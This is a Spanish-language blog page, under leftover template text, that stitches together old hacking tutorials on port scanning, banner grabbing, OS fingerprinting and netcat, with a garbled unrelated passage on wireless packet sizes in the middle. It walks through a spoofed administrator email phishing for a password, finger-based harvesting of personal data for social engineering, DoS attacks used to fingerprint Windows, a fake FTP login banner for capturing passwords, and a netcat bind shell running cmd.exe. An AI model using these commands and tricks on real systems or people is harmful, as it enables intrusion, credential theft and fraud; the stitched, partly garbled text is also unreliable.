Replace these every slider sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.
This is featured post 2 title
Replace these every slider sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.
This is featured post 3 title
Replace these every slider sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.
This is featured post 4 title
Replace these every slider sentences with your featured post descriptions.Go to Blogger edit html and find these sentences.Now replace these with your own descriptions.
Solo veremos algunos de los puertos mas utiles para nuestro objetivo,
los demas se los dejo para que los investiguen ustedes y usen su
imaginacion.
Lo que aqui haremos en definitiva es tratar de averiguar las versiones
de los demonios que esta corriendo el sistema, para encontrar algun
bug de esa version y su respectivo exploit. Tambien veremos algunos
puertos que nos pueden brindar datos interesantes.
Interesting ports on zapala.com.ar (200.32.91.1)
Port State Service Protocol
21 open tcp ftp
25 open tcp smtp
79 open tcp finger
80 open tcp http
- Puerto 21: yo lo primero que provaria es intentar hacer un ftp
anonimo, muchos sistemas estan tan mal configurados que hasta
podriamos conseguir el archivo de password. Luego tendriamos que
intentar ver que version del demonio ftp esta corriendo, seria
algo asi:
caos@CAOS~ telnet ftp.zapala.com.ar 21
Trying 200.32.91.1 ...
Connected to ftp.zapala.com.ar.
Escape character is '^]'.
220 ftp.zapala.com.ar FTP server (Version wu-2.5.0(1) Tue Sep 21
16:48:12 EDT 1999) ready.
Aqui vemos que version del FTP server esta corriendo el host, que
no hace falta decir lo famoso que es por sus innumerables bugs,
ahora lo que hacemos es buscar el exploit para esa version.
- Puerto 25: en este puerto generalmente encontraremos el servidor
de correo; si es el sendmail u otro, telneteamos a este puerto y
vemos cual es la version, y por supuesto vemos si podemos encontrar
algun exploit que nos sirva.
Para lo que tambien nos puede ser util este puerto es para enviar
mails anonimos o fake mails. Por ejemplo nos podriamos hacer pasar
por el Administrador del sistema y pedirle que nos envie su
contrase~a:
telnet universidad.edu.ar 25
220 universidad.edu.ar Microsoft Sendmail 1.0 ready at Sat, 2-1-98
HELO CAOS
250 <universidad.edu.ar> Hello CAOS
MAIL FROM: administrador@universidad.edu.ar
250 <administrador@universidad.edu.ar> ...Sender OKay
RCTP TO: victima@universidad.edu.ar
250 <victima@universidad.edu.ar> ...Recipient OKay
DATA
354 Enter mail, end with "." on a line by itself
Estimado usuario, debido a una reestructuracion del sistema
necesitamos nos envie su contrase~a para agregarla a la nueva
base de datos. Muchas gracias y disculpe las molestias.
El Administrador.
.
250 Mail accepted
QUIT
221 universidad.edu.ar closing connection.
Este ejemplo es muy inocente pero todo esta en la imaginacion
de cada uno. Algo a tener en cuenta es que muchos servidores de
correo loguean nuestra direccion IP y puede aparecer en el mail
que enviamos, por eso es preferible primero enviarnos un mail a
nosotros mismos para ver si aparece nuestra IP.
- Puerto 79: en este puerto podemos encontrar importante
informacion sobre los usuarios que se encuentran en el sistema.
Por ejemplo podemos probar hacer algo como esto:
telnet jperez@victima.edu.ar 79
Login Name Tty Idle Login Time Office Office Phone
jperez Juan Perez 1 Feb 7 02:06 4785-6548
Y obtendriamos informacion personal de ese usuario como ser su
telefono, que podriamos utilizar para hacer Ingenieria social.
Ahora si queremos ver todos los usuarios que hay en un sistema en
algunos servidores podemos hacer esto:
telnet @victima.edu.ar 79
Login Name Tty Idle Login Time Office Office Phone
jperez Juan Perez 1 Feb 7 02:06 4785-6548
root root *2 4:28 Feb 7 02:05
Y como vemos obtenemos todos los usuarios que en ese momento se
encuentran logueados en el sistema.
- Puerto 80: este puerto es el que nos ofrece el servicio de
web. Podriamos utilizarlo para conseguir el archivo de password
mediante la tecnica del PHF, pero como esta tecnica ya esta
quedando obsoleta no mencionare como hacerlo. Todo depende de
lo actualizado que estemos en los bugs que dia a dia aparecen,
hoy si este host estuviera corriendo el servidor web de Microsoft
podriamos probar la vulnerabilidad del ISS que afecta al 90% de
los servidores web existentes en Internet, o como ya hemos visto
antes podriamos usarlo para obtener informacion del sistema.
El fingerprinting es basicamente determinar que sistema operativo corre
una computadora, diferenciando las distintas respuestas que tiene un
sistema a un pedido que hacemos. Asi comparando la respuesta de un
sistema con respecto de otro, y de otro, podemos ubicar cual es el sistema
que corre. Vale decir que el fingerprinting no es 100% seguro con ningun
programa que utilisemos, pero segun cual fuese nos puede acercar lo
suficiente como para ubicar el sistema, yo personalmente recomiendo el
Nmap(www.insecure.org/nmap). A continuacion veremos las tecnicas mas
representativas del fingerprinting que muchos programas utilizan:
- El FIN probe: mandamos un paquete FIN, o cualquiera que no mande un
flag SYN o ACK, a un puerto abierto y esperamos por una respuesta. Segun
el RFC 793 no deberiamos obtener ninguna respuesta pero muchas malas
implementaciones como el MS Windows, CISCO, BSDI, HP/UX, MVS e IRIX
mandan un RESET de respuesta.
- El BOGUS flag probe: la idea es marcar un flag TCP indefinido (64 o
128) en la cabezera de un paquete SYN. Algunos Linux anteriores al
2.0.35 dejan marcado este flag en la respuesta; y algunos sistemas
resetean la coneccion cuando reciben un paquete SYN+BOGUS.
- TCP ISN sampling: la idea aqui es encontar patrones en el ISN(Initial
Sequence Number) en aplicaciones TCP ante un pedido de coneccion. Osea
hay distintos grupos de Sistemas Operativos que usan diferentes formas
de generar los ISN, de esta manera podemos ubicar al sistema.
- Don't fragment bit: muchos sistemas comienzan seteando el "Don't
fragment" bit en el IP, en algunos de los paquetes que envian. Y muchos
otros sistemas lo hacen pero solo en algunos casos. Osea que si vemos
como va marcado este bit podemos obtener informacion interesante.
- TCP initial window: aqui lo unico que hacemos es chequear el tama~o
del window de los paquetes que nos devuelven. Algunos sistemas tienen
un window unico, por lo que esta tecnica muchas veces es por la unica
forma en que los podemos detectar.
- ACK value: mas alla de que supongamos que el valor del ACK va a ser
siempre estandar, en algunas implementaciones este valor varia. Por
ejemplo supongamos que mandamos un FIN|PSH|URG a un puerto TCP cerrado,
la mayoria de las implementaciones van a setear el ACK como el mismo
numero de ISN que nosotros enviamos, pero no Windows claro, que manda
nuestro ISN + 1.
- ICMP error message quenching: esta tecnica consiste en ver la cantidad
de menasjes de error que se nos devuelve ante un pedido. Muchos sistemas
limitan la cantidad de mensajes de error usando un ratio por segundo o
otros formulas. Esta tecnica no es muy usada porque se hace muy lento el
tener que estar esperando a que nos devuelva los mensajes de error.
- ICMP message quoting: segun los RFC los mensajes ICMP de error deben
seguir una constante, sin embargo algunos sistemas no lo hacen asi y
varian en las respuestas. Este es un gran punto con el cual podemos
identificar algunos sistemas.
- Exploit chronology: esta tecnica es muy divertida. Dado que no se
puede distinguir entre el TCP stack de Windows 95, 98 y NT, porque no
lo han actualizado en lo mas minimo, osea el NT sigue teniendo el mismo
stack que el 95 y que el 98, surgio esta tecnica que todos seguramente
hemos usado alguna vez. Consiste en hacer un ataque de DOS (Denial of
Service) para tirar al Windows, podemos empezar con un Nuke, o un Ping
de la Muerte, y luego vamos usando tecnicas un poco mas avanzadas como
Teardrop y Land; entonces despues de cada ataque hacemos un PING a la
victima y segun con que tecnica haya caido podemos deducir que sistema
es y hasta que Service Pack o Hotfix tiene instalado.
- SYN flood resistance: muchos sistemas paran de aceptar conexiones
cuando uno les envia varios paquetes SYN; algunos solo aceptan 8
paquetes. simplemente podemos determinar el sistema por la cantidad de
paquetes que puede aceptar.
Saber que sistema operativo esta corriendo nuestra victima es algo
obviamente muy valioso, ya que muchas de las vulnerabilidades que podemos
encontrar dependen del sistema y la version que tenga.
La forma mas efectiva de poder conocer que sistema corre nuestra victima
seria hacerle un telnet. Suponiendo que el puerto 21 estuviera abierto
veriamos algo asi:
caos@CAOS~ telnet afrodita.unrl.edu
Trying 208.145.173.12...
Connected to afrodita.unrl.edu.
Escape character is '^]'.
HP-UX hpux B.10.01 A 9000/715 (ttyp2)
login:
Como podemos ver al telnetear al host hpux.u-aizu.ac.jp nos aparece que
sistema operativoy que version esta corriendo; y nos aparece un prompt
pidiendonos los datos del login. Lamentablemente esta tecnica no es muy
efectiva ya que el banner que nos muestra los datos del sistema es
facilmente modificable; en los Linux solo basta con modificar los archivos
/etc/issue y /etc/issue.net, por ejemplo al telnetear a mi computadora
veriamos algo asi:
/////// CAOS - Ezkracho Team
// - = -
/////// Feel the Power !
login:
Pero el modificar los banners del login no afecta los banners defaults
que vienen en los demas servicios; por ejemplo al telnetear a un ftp nos
apareceria lo siguiente:
caos@CAOS~ telnet ftp.netscape.com 21
Trying 207.200.74.26 ...
Connected to ftp.netscape.com.
Escape character is '^]'.
220 ftp29 FTP server (UNIX(r) System V Release 4.0) ready.
SYST
215 UNIX Type: L8 Version: SUNOS
Otra truco que podemos utilizar si nuestra victima tiene montado un
servidor web seria el siguiente:
El escaneo de puertos consiste basicamente en detectar que servicios
nos esta ofreciendo un determinado host. Si al hacer un escaneo
encontramos un puerto abierto, segun cual fuese este es el servicio
que nos ofrece.
Por ejemplo vamos a escanear el host zapala.com.ar:
Interesting ports on zapala.com.ar (200.32.91.1)
Port State Service Protocol
21 open tcp ftp
25 open tcp smtp
80 open tcp http
Suponiendo que solo estos puertos estuvieran abiertos (HEH!) lo que nos
resulta de este escaneo, es que zapala.com.ar esta ofreciendo servicios
de transferencia de archivos, de correo y de web.
Mas adelante veremos de que forma podemos explotar la informacion que
hemos obtenido ahora.
3. [ Diferentes tecnicas de escaneo de puertos ]
Debido a los diferentes tipos de protocolos, los numerosos puertos que
pueden estar escuchando, y a los dispositivos empleados para evitar o
detectar el escaneo de puertos, han surgido diferentes tecnicas las
cuales tienen sus ventajas como desventajas. A continuacion veremos
algunas de las distintas tecnicas que hoy dia conocemos.
- TCP connect() scanning: esta es la forma mas popular de escaneo TCP y
consiste basicamente en usar la llamada a sistema connect() del sistema
operativo, si se logra establecer la coneccion con el puerto de la otra
computadora entonces este puerto esta abierto. Las ventajas que tiene
esta forma de escaneo es que no se necesita ningun privilegio especial
para poder llevarla a cabo, en la mayoria de los Unix cualquier usuario
puede hacer uso de la llamada connect(). Otra gran ventaja es la
velocidad. El lado negativo que encontramos es que es muy facil de
detectar y de filtrar, y generalmente el host loguea que establecemos
una coneccion e inmediatamente nos desconectamos.
- TCP SYN scanning: esta tecnica es la llamada escaneo "half-open" (o
mitad-abierta), porque no establecemos una coneccion TCP completa. Lo
que hacemos es enviar un paquete SYN como si fueramos a entablar una
coneccion TCP completa y esperamos por una respuesta. Podemos recibir
un SYN|ACK si el puerto esta escuchando o un RST si el puerto esta
cerrado. Si recibimos un SYN|ACK en respuesta, inmediatamente le
enviamos un RST. La mayor ventaja de esta tecnica es que muy pocos
servers nos loguean; y la desventaja es que se necesita privilegios de
root para construir estos paquetes SYN a enviar.
- TCP FIN scanning: algunos firewalls y packets filters escuchan por los
paquetes SYN en algunos puertos, y programas como el synlogger puden
detectar este tipo de escaneo. En cambio los paquetes FIN pueden penetrar
sin mayor problemas. La idea consiste en que al enviar un paquete FIN
si el puerto esta cerrado nos va a devolver un RST, y si el puerto esta
abierto nos va a ignorar. Esto se debe a un error en las implementaciones
TCP pero no funciona en un 100%. La mayoria de los sistemas parecen
susceptibles excepto los sistemas Microsoft que son inmunes (aunque
usted no lo crea).
- Fragmentation scanning: esta no es una tecnica en si misma, sino una
modificacion de otras tecnicas. Consiste en hacer una divicion de los
paquetes que enviamos, para no ser detectados por los packet filters y
los firewalls. Por ejemplo podemos hacer un SYN o un FIN scanning
fragmentando los paquetes que enviamos, y al ir quedando en cola en los
firewalls y en los packet filters no somos detectados.
- TCP reverse ident scanning: el protocolo ident permite averiguar el
nombre de usuario y el due~o de cualquier servicio corriendo dentro de
una coneccion TCP. Por ejemplo podemos conectarnos al puerto http y
usar identd para averiguar que esta corriendo la victima como root; esto
solo es posible estableciendo una coneccion TCP completa.
- FTP bounce attack: algo interesante del protocolo ftp, es que permite
lo que se llama coneccion proxy ftp. Osea yo podria conectarme a un ftp
desde un servidor proxy y al hacer esto establecer una coneccion y enviar
un archivo a cualquier parte de la Internet. Esto lo podemos aprovechar
tambien para hacer por ejemplo un escaneo TCP, ya que estariamos haciendolo
desde un servidor ftp pero detras de un firewall. Lo bueno que tiene esta
tecnica es obviamente que es muy dificil de rastrear, y lo malo es que
puede volverse sumamente lento.
- UDP ICMP port unreachable scanning: Lo que varia significativamente de
esta tecnica con respecta a las otras es que estamos usando el protocolo
UDP, este protocolo puede ser mas simple que el TCP pero al escanear se
vuelve sumamente mas complejo; esto se debe a que si un puerto esta abierto
no tiene que enviarnos un paquete de respuesta, y si un puerto esta cerrado
tampoco tiene que enviarnos un paquete de error. Afortunadamente, la
mayoria de los hosts nos envian un paquete de error "ICMP_PORT_UNREACH"
cuando un puerto UDP esta cerrado. Esta tecnica suele volverse muy lenta
Cuando el paquete es más pequeño, la proporción del tiempo usado al
accesar el canal, es mayor, aunque la carga pueda ser pequeña para algunas
funciones, la transferencia y descarga de archivos son mejor administrados cuando
la longitud del paquete es de buen tamaño, para minizar el tiempo de transferencia.
En paquetes grandes, se incrementa la posibilidad de que el paquete tenga
errores en el envío, en sistemas de radio el tamaño aproximado ideal es de 512
octetos o menos , un paquete con una longitud de 100-600 octetos puede permitir la
salida oportuna de respuestas y datagramas prioritarios junto con los datagramas
normales.
Es necesario de proveer formas para dividir los paquetes en segmentos
dentro de las redes inalámbricas. Para un protocolo propuesto, el promedio de
mensajes transferidos, es mayor para el tráfico originado por el “saludo inicial”, que
el originado por el punto de acceso. En este promedio se incluyen campos de
dirección de red y otras funciones que son agregadas por el protocolo usado y no
por el sistema de radio.
El mensaje más largo permitido para superar un retardo de acceso de 1.8.
m
octetos utiliza 400
que sobran pueden ser usados para solicitar requerimiento pendientes. El tiempo
marcado para un grupo de Reuso de 4 puede ser de 2,400
puede ser uniforme, entre grupos comunes y juntos, con 4 puntos de acceso. sin
seg. y un factor de Reuso de 4, utiliza menos de 600 mseg. Un mensaje de 600mseg. a una velocidad de transmisión de 12 Mbs, los 200 mseg.mseg. Este tiempo total
http://www.cybercursos.net
19
embargo la repartición del tiempo entre ellos será según la demanda.
Las computadoras necesitan varios anchos de banda dependiendo del
servicio a utilizar, transmisiones de datos, de vídeo y voz de voz, etc. La opción es,
si:
1.- El medio físico puede multiplexar de tal manera que un paquete sea un
conjunto de servicios.
2.- El tiempo y prioridad es reservado para el paquete y los paquetes
relacionados con el, la parte alta de la capa MAC es multiplexada.
La capacidad de compartir el tiempo de estos dos tipos de servicios ha
incrementado la ventaja de optimizar la frecuencia en el espacio y los requerimientos
Esta combinación desencadena todo el Poder de Netcat en su máxima
expresión; Tratandose de una herramienta que funciona con lineas de comandos,
su integración con un lenguaje de programación le permite realizar gran
cantidad de tareas, y posibilidades se van descubriendo dia a dia con su
inclusión en nuevos Scripts y Exploits.
Muchos ScriptKiddies que no tienen idea de lo que hacen, se sienten
frustrados porque muchos de los Scripts y Exploits que bajan de la Red
simplemente no les funciona, porque no saben interpretar el Código y por
lo tanto son incapaces de efectuar las modificaciones necesarias para incluir
librerias, paths o utilidades necesarias para su funcionamiento.
(Jódanse ScriptKiddies!!! Jajaja!!)
Netcat es exelente para implementar exploits remotos, permitiendo
enviar el código a cualquier puerto vulnerable con una simple orden, logrando
ejecutar todos los comandos necesarios para explotar determinados servicios.
Varios exploits que circulan actualmente en la Red, usan a netcat
como "motor" para manejar las conecciones, si analizamos el código de estos
programas podemos observar un nc por ahí, esto significa que el Proggie en
cuestión necesita una versión correctamente compilada de netcat en el
directorio /usr/bin . A continuación un pequeño programa realizado por
el Doctor_X de Hven utilizando a netcat:
Yo personalmente prefiero usar netcat para realizar connecciones
remotas como alternativa al Telnet. la ventaja de realizar conecciones telnet
desde netcat es que este esconde "algo" sobre tu conección, lo que lo hace
mas "sigiloso" que telnet, (de ahí por que lo llamaron netcat), Realizando
una conección "Limpia" en determinado puerto, obviando las negociaciones
comunes de Telnet que pueden confundir al cliente en determinados casos,
como por ejemplo, al utilizar ciertas Backdoors muy conocidas en Unix.
OJO: algunas máquinas interpretan al cliente de telnet
y asumen el nombre del usuario que lo utiliza, de allí el porqué algunos
servidores solo preguntan por password ; teoricamente netcat no envia
esta información. Por eso, es recomendable acostumbrarse a utilizar netcat
para hacer conecciones remotas:
c:> nc -v nombre del host 23(o el puerto de tu preferencia)
Puedes utilizar algo de ingienería social para capturar algunos
passwords con netcat, por ejemplo, si una máquina no tiene abierto el
puerto de FTP o de telnet, creas un archivo de texto que solicite el ID
y el Password de la víctima; algo así:
Microsoft Internet FTP Server V.5.9 [Beta]
04/16/99 myhost.com
Please introduce Username, password and press "Enter"
LogOn:
Luego redireccionas el archivo hacia la victima:
C:\nc11nt>nc -v -v -L -p 21 nombre del host -t < login.txt
Si el tonto cae... Ahí va tu password, Jeje!! B-] un poco de
imaginación y maña te permitirán encontrar muchas utilidades para
netcat.
La posibilidad de dejar a netcat escuchando en determinados puertos,
nos permite crear una especie de "trampa" para un supuesto agresor que utilize
scanners, o herramientas tales como NetBus o BackOrifice en contra de
nuestras estaciones. Incluso, podemos crear un archivo que haga un Flood
y redireccionar su salida hacia la estación agresora en caso de una conección
no autorizada a determinado puerto. (jeje! y se me ocurren un monton de cosas
más, Muaahahaha!) :)
Este es un ejemplo de un detector de BO, Je! y funciona! este es un ejemplo
real de un dia como cualquier otro en IRC; he aquí el ejemplo:
C:\nc11nt>nc -u -v -v -L -p 31337 127.0.0.1 31337
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 31337 ...
invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net
[161.196.246.65]
31338
Back Orifice utiliza el protocolo UDP para realizar sus
travesuras, realiza la conección desde un puerto aleatorio (casi siempre
el 1080) aunque en este caso lo hizo desde el 31338 (posiblemente una
variante de BO), por eso se utiliza la opción -u (protocolo udp) ,
netcat se queda esperando conecciones UDP en el puerto 31337 (default de
BO) , cuando alguien hace un sweep a tu IP netcat lo detecta enviando a
pantalla el IP y el DNS del agresor...
Luego un pequeño "Ping of Death" (Nuke) para el transgresor y
le hacen un Scan para ver cuando desaparece B-]
nas1-064.ras.bqm.cantv.net [161.196.246.65] 48 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 47 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 46 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 45 (?): TIMEDOUT
nas1-064.ras.bqm.cantv.net [161.196.246.65] 44 (?): TIMEDOUT<--Chao!!! Jeje!!
Otra de las interesante posibilidades de netcat es su capacidad para
escuchar conecciones en cualquier puerto, pudiendo redireccionar todo el
tráfico del mismo hacia un archivo o hacia pantalla, en este sencillo
ejemplo, podemos observar las bases de un sencillo sniffer en Windows:
C:\nc11nt>nc -v -v -L 127.0.0.1 -p 23
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
password: jeje!!
puedo ver todo lo que escriben aqui... Muuuaaahahahahahah!!! B-]
Tambien podemos redireccionar toda la salida a un archivo e
irnos a realizar otras actividades ,ientras netcat hace su trabajo:
C:\nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
[Aqui viene la conneción...]
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1030
[Todo lo que escriba la connección se va al archivo login.txt]
sent 0, rcvd 42
[La opción -L permite que netcat escuche nuevamente al terminar la conección,
"New Victims Wanted" Hehe!]
DNS fwd/rev mismatch: localhost != darkstar
listening on [127.0.0.1] 23 ...
El Exploit-Explained: nc -v -v -L 127.0.0.1 -p 23
---------------------
Ejecutamos a Netcat con la opción o variable -v (verbose)
(doblemente "verbose" por si acaso) ;) esto hará que el resultado de
netcat, sea mostrado directamente en pantalla (a diferencia del archivo
usado por Dr._X) , la opción o variable -L (Listen, and listen again)
nos permitirá dejar escuchando u "oliendo" en determinado puerto aun
cuando la conección sea interrumpida (listen again), con la variable -p
le indicamos el puerto...
Al ejecutar a netcat con esa combinación de variables las
opción -v me indica en pantalla el Host y el puerto de escucha:
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
Realizo desde otra ventana un telnet a localhost (127.0.0.1) en
el puerto 23, netcat me informa sobre lo que ocurre en el puerto 23:
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
Netcat puede ser utilizado como scanner, sus multiples opciones
le permiten realizar un gran número de combinaciones, pudiendo realizar
Scannings en Puertos Random, en puertos conocidos, en modo ascendente o
descendente, con intervalos de tiempo, utilizando gateways para evitar
mostrar la IP fuente del Scanning, etc.
C:\nc11nt>nc -v -v -z 127.0.0.1 53 25 21
DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK
Pues si; aqui tienen un pequeño y primitivo scanner, se le
pueden añadir puertos escogidos como en el ejemplo anterior o asignarle
un rango de puertos:
C:\nc11nt>nc -v -v -z 127.0.0.1 1-53
DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused etc...
Volvemos con la opción -v (verbose) y la Opción -z (zero i/o)
que es usada para scanning, los puertos se lo especificamos al final del
IP del host, bien sea individuales separados por un espacio; o por un
rango de puertos.
Para ilustrar mejor como trabajamos con este programa, lo mejor es
observar ejemplos prácticos y analizar su estructura para poder comprender
mejor como funciona y así poder crear nuestras propias aplicaciones.
Algunas de las cosas que podemos hacer con NetCat son:
Obtener un Shell rapidamente en una máquina remota usando la
opción -l (Listen) conjuntamente con la opción -e (ejecutar) , cuando el
proggie corre con estas variables y la conección es realizada, NetCat
ejecuta el programa elegido y se conecta a stdin y stdout del programa
en la conección a la red.
nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe
Este comando dejará a NetCat escuchando el Puerto 23 (telnet) ,
cuando es conectado a travéz del cliente, ejecutará un Shell (cmd.exe)
la opción -t le dice a NetCat que maneje cualquier negociación que el
cliente pueda esperar....
Si esta conección es realizada desde una máquina NT, el shell
correrá los permisos del proceso que han generado a NetCat (Hmmm...) así
que hay que ser muy cuidadosos :)
La belleza de NetCat es que puede hacer lo mismo en CUALQUIER
puerto :) Puedes dejar a NetCat escuchando en los puertos NETBIOS, que
están probablemente corriendo en la mayoría de las máquinas NT, de esta
manera puedes lograr una conección a una máquina que esté utilizando
"Filtrado de Puertos" activado en TCP/IP security Network Control Panel,
NT no parece tener ninguna seguridad alrededor de cuales puertos los
programas de usuarios son permitidos amarrar, esto quiere decir en pocas
palabras, ejecutar comandos y programas que puedan unirse a los Puertos
NETBIOS.
Como anteriormente se mencionó, puedes utilizar a Netcat para
estudiar diferentes puertos, con la siguiente sintaxis:
c:\>nc -v <IP> <puerto> (puedes añadir otra -v)
Uno de los puertos mas interesantes a la Hora de Analizar un
Host, es el puerto 79 (Finger) , puedes obtener nombres de usuarios e
información muy util a la hora de planear un "Brute-Force Attack", este
comandito de Netcat te muestra la Flexibilidad del Proggie en cuestion,
dandote una idea de sus posibilidades:
c:\>nc -v <host> 79 < user.txt > log.txt
El comando anterior le dice a netcat que se conecte en modo
verbose al Host predeterminado en el puerto 79 (Finger) y envie el
contenido del archivo user.txt (OJO: no he probado esto con una posible
lista de nombre de usuarios al azahar), la respuesta del servicio será
guardada en el archivo log.txt
Netcat en una plataforma como Linux se convierte en una utilidad
muy potente, pudiendo ser utilizado en conjunto con lenguajes de programación
como Perl y C , o bien desde la propia Linea de comandos del poderoso Shell
de Linux mediante Shell Scripts.
Cabe destacar que distribuciones como RedHat Linux trae junto con
sus paquetes de instalación una versión limitada de netcat; lo mas recomendable
es bajar de la red la versión full de netcat para Linux (Importante: La
versión de netcat para linux viene a prueba de lamers, por lo cual debemos
compilar a netcat con unos flags especiales para poder obtener las opciones
-t y -e (Telnet y Gaping Security Hole) ). Bajas el .tar de netcat y lo
desempaquetas en el directorio de tu preferencia, te ubicas dentro del
directorio de netcat y lo compilas con Make utilizando las siguientes Flags:
[root@DarkStar] #make linux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE"
Copias el binario (nc) al directorio /usr/bin , de esta manera podras usar
netcat directamente llamandolo de cualquier parte del Shell, ademas de que
podrás usar los scripts que hagas (o consigas en la red) sin problemas; netcat
trae unos scripts muy interesantes y bien comentados para que los estudies
y comprendas mejor su implementación en scripts, los scripts están en el
directorio donde desempaquetastes netcat en /scripts , los corres como
siempre: ./probe (o el script que quieras).
Netcat es un pequeño programa creado para uso de los
administradores de redes (y por supuesto para los Hackers) :), este
proggie fué creado originalmente por Hobbit y porteado a Win95 y NT por
Weld Pond de L0pht , tiene mas de un año desde que fué Liberado y muy
poco se ha escrito sobre este Programita; Principalmente porque la estructura
de sus comandos es poco familiar para el usuario medio. Netcat tiene
infinidad de funciones, aunque se deja que sea el usuario quien las
averigue :P, y en el archivo de ayuda ponen algunos ejemplitos muy
elementales solamente...
La especialidad de NetCat es el Protocolo tcp/ip, y le dá a la
máquina de windows, cierto poder sobre este protocolo que solo tenía
UNIX, trabaja con lineas de comandos desde MS-DOS (o desde el
Shell de Linux), y según parece, puede hacer casi cualquier cosa sobre
TCP/IP. El comando principal es nc con su respectiva variable u opción
al mas puro estilio Unix.
Cabe destacar que la información sobre Netcat y sus usos
especificos es bastante limitada; aunque Hobbit en su documento aclara
muchas cosas, cita algunos ejemplos y dice que NetCat puede ser utilizado
para mas de 1001 vainas...
Netcat puede ser encontrado en: http://www.l0pht.com/~weld/netcat
Netcat en WinX
==============
Este es el resultado de el comando de ayuda de netcat en una máquina windows
c:>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
Bien; un analisis rápido de estas variables nos da una idea del
potencial de este pequeño programa y las infinitas posibilidades que nos
ofrece el poder manejar conecciones de una manera tan básica y sencilla:
<------ Opciones de Netcat --------->
-d (Modo Stealth o encubierto)
Esta opción desvincula al Programa de la consola, haciendolo
trabajar en el BackGround.
-e<prog> (Ejecuta un programa cuando se conecta)
Puede ser utilizado para ejecutar incluso un Shell tanto
en WinX como en *NIX.
-l (Escuchando conecciones)
Deja a un puerto abierto en espera de una conección
-L (lo mismo que anteriormente pero sigue escuchando aún cuando la
conección es cerrada)
Esta opción es incluida en la versión de Weld Pond de L0pth, y
es muy util para seguir escuchando en el puerto, a diferencia de -l
(que la conección cerrada termina con el proceso de nc) esta opción -L
permite seguir escuchando en el mismo puerto (la rutina de nc -l es
reiniciada).
-n (Dirección numerica especifica; no hace un DNS Lookup) Netcat tiene la
facultad de resolver nombres de dominio mediante un DNS Lookup, con esta
opción le especificamos que no lo haga, y use solamente direcciones IP.
-o<logfile> (obtiene un archivo log en Hex de la acción) Genera un Log de
las actividades de netcat en código Hexadecimal.
-p<puerto> (Puerto para pegarse) Algunas veces debes especificarle con esta
opción el puerto a realizar una acción.
-s<ip addr> (pegarse a un IP especifico) Netcat puede utilizar IP de una red
como fuente local.
-t (Funciona como un pequeño demonio telnet) Con esta opción le especificas
a netcat que debe realizar negociaciones telnet.
-u specify UDP (Utilizar Protocolo UDP) Con esta opción le dices a netcat que
trabaje con protocolo UDP en vez de TCP.
-v (modo verbose, mas información, se le puede añadir otra -v para mas
info todavia) Bastante util y necesario, sobre todo para estudiar demonios
en profundidad y observar todos los detalles en un Sniffing.
-w <segundos> (Especifica un tiempo para terminar) Con esta opción le especificas un
tiempo determinado para realizar conecciones .
-r (Genera un Patron Ramdom de puertos locales o remotos) Muy util para evitar
patrones lógicos de Scanning.
-g <gateway> (especificar Gateways) Una de las opciones más interesantes de netcat,
permite utilizar Routers como "puentes" de conección.
-G <numero> (Especificar puntos de Routing), Con esta opción podemos crear
una cadenaaleatoria de hosts para crear un ruta perdida para tus paquetes
(Spoofing).
-i <segundos> Especifica un intervalo de segundos entre puertos Scaneados.
<------------- Fin de las opciones comentadas ------>
by:kAsP3R